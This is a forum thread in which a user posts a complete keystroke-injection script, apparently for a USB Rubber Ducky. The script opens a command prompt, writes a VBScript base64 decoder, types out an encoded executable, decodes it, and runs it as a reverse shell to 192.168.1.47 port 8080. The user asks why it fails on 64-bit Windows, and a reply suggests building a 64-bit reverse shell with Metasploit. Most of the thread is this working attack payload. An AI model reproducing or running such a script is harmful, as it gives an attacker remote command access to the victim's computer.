lo_crawl Posted March 7, 2013 Share Posted March 7, 2013 I'm trying to run the Windows Reverse Shell Payload on a 64 bit system, and I get the error: "C:\reverse.exe is not a valid Win32 application." Is there something wrong with the payload itself? Or does it not run on 64-bit systems? Script below. Any help would be greatly appreciated! DELAY 1000 ESCAPE ESCAPE DELAY 400 WINDOWS R DELAY 400 STRING cmd DELAY 400 ENTER DELAY 400 STRING copy con c:\decoder.vbs ENTER STRING Option Explicit:Dim arguments, inFile, outFile:Set arguments = WScript.Arguments:inFile = arguments(0) STRING :outFile = arguments(1):Dim base64Encoded, base64Decoded, outByteArray:dim objFS:dim objTS:set objFS = STRING CreateObject("Scripting.FileSystemObject"): ENTER STRING set objTS = objFS.OpenTextFile(inFile, 1):base64Encoded = STRING objTS.ReadAll:base64Decoded = decodeBase64(base64Encoded):writeBytes outFile, base64Decoded:private function STRING decodeBase64(base64): ENTER STRING dim DM, EL:Set DM = CreateObject("Microsoft.XMLDOM"):Set EL = DM.createElement("tmp"): STRING EL.DataType = "bin.base64":EL.Text = base64:decodeBase64 = EL.NodeTypedValue:end function:private Sub STRING writeBytes(file, bytes):Dim binaryStream: ENTER STRING Set binaryStream = CreateObject("ADODB.Stream"):binaryStream.Type = 1: STRING binaryStream.Open:binaryStream.Write bytes:binaryStream.SaveToFile file, 2:End Sub ENTER CTRL z ENTER STRING copy con c:\reverse.txt ENTER STRING TVprZXJuZWwzMi5kbGwAAFBFAABMAQIAAAAAAAAAAAAAAAAA4AAPAQsBAAAAAgAAAAAAAAAA ENTER STRING AADfQgAAEAAAAAAQAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAFAAAAACAAAAAAAA ENTER STRING AgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA20IAABQAAAAAAAAAAAAAAAAA ENTER STRING AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ENTER STRING AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATUVXAEYS ENTER STRING 0sMAMAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAwALSdduKFuvUABAAAABAAADvAgAA ENTER STRING AAIAAAAAAAAAAAAAAAAAAOAAAMC+HEBAAIvera1QrZeygKS2gP8Tc/kzyf8TcxYzwP8TcyG2 ENTER STRING gEGwEP8TEsBz+nU+quvg6HI+AAAC9oPZAXUO/1P86yas0eh0LxPJ6xqRSMHgCKz/U/w9AH0A ENTER STRING AHMKgPwFcwaD+H93AkFBlYvFtgBWi/cr8POkXuubrYXAdZCtlq2XVqw8AHX7/1PwlVatD8hA ENTER STRING WXTseQesPAB1+5FAUFX/U/SrdefDAAAAAAAzyUH/ExPJ/xNy+MOwQgAAvUIAAAAAAAAAQEAA ENTER STRING MAFAAAAQQAAAEEAAaBwGMkAHagHoDnw4VQzoQgLIFTiean446lMMelAsFnRBMP0Bv1WysTNq ENTER STRING kQIGsnxVmiejeINmxwVke0+mOGe8XVBmlD05ZqNofmRmfiF9i3MM2QpqaJQtoTp6b0gV6kwF ENTER STRING EVBkkBBNRFWRFDxAeGooEGhdKP81MHTopJ5RVFWhVY2/bg4KCJAiC+FRFOgfgUvD/yUkILtv ENTER STRING KhwGQxghFL3DIghxzAFVi+yBxHz+/4hWV+hgrN2JRfwzHcmLdX44PB10Bx4iQPdB6/RR0XLp ENTER STRING AOFYO8F0C19eMLgDucnCCOGGSY29PHDlQyoJzy/gArAgqutz8iiNhRU5i/A2+DMqM+sbiwNm ENTER STRING MgfvImUgTf4iEeEoLe2UCIO53LcwS3T7OzpNCKgVWWUdZwpME0EdDxTr5qoNNgcZhzj0sH/A ENTER STRING VXMRi30Mxhe4An+CohOdaLCgWDQzDUYN5tH34f5Yo+7nRLsfFqnOEQTeVQE81BTUDhszwE7s ENTER STRING hwtw0ooGRj08ArMSDvffkOsLLDAZjQyJBkiDLQrAdfHoBBEzUcI44jCDxAf0avXoaQkZSf+9 ENTER STRING gqogC9Aqk3U3+FAinSmGBvzoTS9oiyQ45lMaDwiNUAMhGIPABOP5//6AAvfTI8uB4USAdHzp ENTER STRING bMEMYHV3BvQQwEAC0OEbwlFbOkfESRnKDFcGCDAAADBAAGMwbWQAZj9AABQ4IEADd3MyXzOY ENTER STRING LmRs48CAZwdldGhvc0BieW5he23PHmOePPfr/w4SV1NBXc9hckZ1cBh5aMoscxNPJmNrYu/B ENTER STRING /7gDbJUacspebEzHV9NpdPNGp7yRR8NMQ29tiGFuZDZMaURifoB2cvudOlC3gudzFUFYIcBk ENTER STRING SNBDL2AAAAAAAGY/QABMb2FkTGlicmFyeUEAR2V0UHJvY0FkZHJlc3MAAAAAAAAAAAAAAAAA ENTER STRING AAxAAADpdL7//wAAAAIAAAAMQAAA ENTER CTRL z ENTER STRING cscript c:\decoder.vbs c:\reverse.txt c:\reverse.exe ENTER STRING c:\reverse.exe 192.168.1.47 8080 ENTER STRING pause ENTER Quote Link to comment Share on other sites More sharing options...
no42 Posted March 7, 2013 Share Posted March 7, 2013 chances are that the reverse.exe is 16-bit; fine on 32bit systems not for 64bit applications. I'd use metasploit to generate a 64bit reverse shell, and use that instead. Quote Link to comment Share on other sites More sharing options...
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